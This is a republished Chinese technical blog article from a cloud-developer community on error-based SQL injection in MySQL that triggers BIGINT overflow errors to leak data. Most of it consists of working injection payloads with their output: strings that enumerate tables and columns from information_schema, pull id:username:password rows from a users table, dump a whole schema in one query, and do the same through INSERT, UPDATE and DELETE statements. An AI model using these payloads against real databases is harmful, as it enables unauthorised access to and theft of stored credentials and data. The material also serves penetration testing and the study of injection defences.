前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入攻击导致BIGINT溢出错误

SQL注入攻击导致BIGINT溢出错误

作者头像
随心助手
发布2019-10-15 00:45:04
1.9K0
发布2019-10-15 00:45:04
举报
文章被收录于专栏:nginx遇上redisnginx遇上redis

什么是溢出攻攻击

首先, 溢出,通俗的讲就是意外数据的重新写入,就像装满了水的水桶,继续装水就会溢出,而溢出攻击就是,攻击者可以控制溢出的代码,如果程序的对象是内核级别的,如dll、sys文件等,就可以直接操控系统内核了

其次,分类:按对象名加以区分:IIS溢出、SQL溢出等,就是按对象名来加以区分,按特点区分:远程溢出、本地溢出

最后,溢出的基本原理:一是内存溢出;二是缓冲区溢出

1、内存溢出

内存溢出,是程序使用了不可靠的方式存取/复制内存缓冲区,或者是编辑设置的内存缓冲区太靠近数据结构等,进而导致内存缓冲区溢出,而溢出的字符就会取代后面的数据。例如,c语言不检查数组边界,不检查数据类型的可靠性,而c语言与机器内核代码接近,能直接访问内存和寄存器。

2、缓冲区溢出

缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据,而缓冲区溢出就是通过向程序的缓冲区中写入超过其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的命令,以达到攻击的目的。

概述

我对于通过MySQL错误提取数据的新技术非常感兴趣,而本文中要介绍的就是这样一种技术。当我考察MySQL的整数处理方式的时候,突然对如何使其发生溢出产生了浓厚的兴趣。下面,我们来看看MySQL是如何存储整数的。

只有5.5.5及其以上版本的MySQL才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。

数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。

代码语言:javascript
复制
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is outof range in '(9223372036854775807 + 1)'

为了避免出现上面这样的错误,我们只需将其转换为无符号整数即可。

对于无符号整数来说,BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话,分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”。

同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致“BIGINT value is out of range”错误。

代码语言:javascript
复制
# In decimal
mysql> select18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '(18446744073709551615 + 1)'
# In binary
mysql> selectcast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# In hex
mysql> selectcast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

如果我们对数值0逐位取反,结果会怎么样呢? 当然是得到一个无符号的最大BIGINT值,这一点是显而易见的。

代码语言:javascript
复制
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

所以,如果我们对~0进行加减运算的话,也会导致BIGINT溢出错误。

代码语言:javascript
复制
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is outof range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '(1 + ~(0))'

注入

我的想法是,利用子查询引起BITINT溢出,从而设法提取数据。我们知道,如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1,举例来说,如果我们对类似(select*from(select user())x)这样的查询进行逻辑非的话,就会有:

代码语言:javascript
复制
mysql> select (select*from(selectuser())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(selectuser())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

是的,太完美了!所以说,只要我们能够组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询。

代码语言:javascript
复制
mysql> select~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is outof range in '(~(0) + (not((select 'root@localhost' from dual))))'

我们先不使用加法,因为“+”通过网页浏览器进行解析的时候,会被转换为空白符(不过,你可以使用%2b来表示“+”)。 相反,我们可以使用减法。所以说,同一种注入攻击,可以有完全不同的变种。 最终的查询语句如下所示。

代码语言:javascript
复制
!(select*from(select user())x)-~0
(select(!x-~0)from(select(selectuser())x)a)
(select!x-~0.from(select(selectuser())x)a)

举例来说,我们可以像下面一样,在一个查询语句中进行注入操作。

代码语言:javascript
复制
mysql> select username, passwordfrom users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is outof range in '((not((select 'root@localhost' from dual))) - ~(0))'

利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:

代码语言:javascript
复制
select !atan((select*from(selectuser())a))-~0; 
select !ceil((select*from(selectuser())a))-~0;
select !floor((select*from(selectuser())a))-~0;

下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)

HEX

IN

FLOOR

CEIL

RAND

CEILING

TRUNCATE

TAN

SQRT

ROUND

SIGN

提取数据

提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。

首先,我们来获取表名:

代码语言:javascript
复制
!(select*from(select table_name frominformation_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

代码语言:javascript
复制
select !(select*from(select column_namefrom information_schema.columns where table_name='users' limit 0,1)x)-~0;

检索数据:

代码语言:sql
复制
!(select*from(select concat_ws(':',id,username, password) from users limit 0,1)x)-~0;

DumpIn One Shot

我们能够一次性转储所有数据库、列和数据表吗?答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。

代码语言:sql
复制
!(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columns wheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
(select(!x-~0)from(select(concat(@:=0,(select count(*)from`information_schema`.columns wheretable_schema=database()and@:=concat(@,0xa,table_name,0x3a3a,column_name)),@))x)a)
(select!x-~0.from(select(concat (@:=0,(selectcount(*)from`information_schema`.columns wheretable_schema=database()and@:=concat(@,0xa,table_name,0x3a3a,column_name)),@))x)a)

这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。

利用插入语句进行注入

利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”。

代码语言:javascript
复制
mysql> insert into users (id,username, password) values (2, '' or !(select*from(select user())x)-~0 or '','Eyre');
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

我们还可以使用DIOS查询。

代码语言:javascript
复制
insert into users (id, username,password) values (2, '' or !(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columns wheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) -~(0))'

利用更新语句注入

利用更新语句,我们照样可以进行类似的注入,具体如下所示:

代码语言:javascript
复制
mysql> update users setpassword='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNEDvalue is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

利用删除语句注入

同样利用删除语句,我们照样可以进行类似的注入,具体如下所示:

代码语言:javascript
复制
mysql>delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select'root@localhost' from dual))) - ~(0))'

小结

本文的攻击之所以得逞,是因为mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在5.5.5及其以上版本提供的。对于这些溢出攻击,还有许多不同的形式。 例如:

代码语言:javascript
复制
mysql>select !1-0^222;
ERROR1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql>select !(select*from(select user())a)-0^222;
ERROR1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select'root@localhost' from dual))) - (0 ^ 222))'
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 nginx遇上redis 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是溢出攻攻击
  • 概述
  • 注入
  • 提取数据
  • DumpIn One Shot
  • 利用插入语句进行注入
  • 利用更新语句注入
  • 利用删除语句注入
  • 小结
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档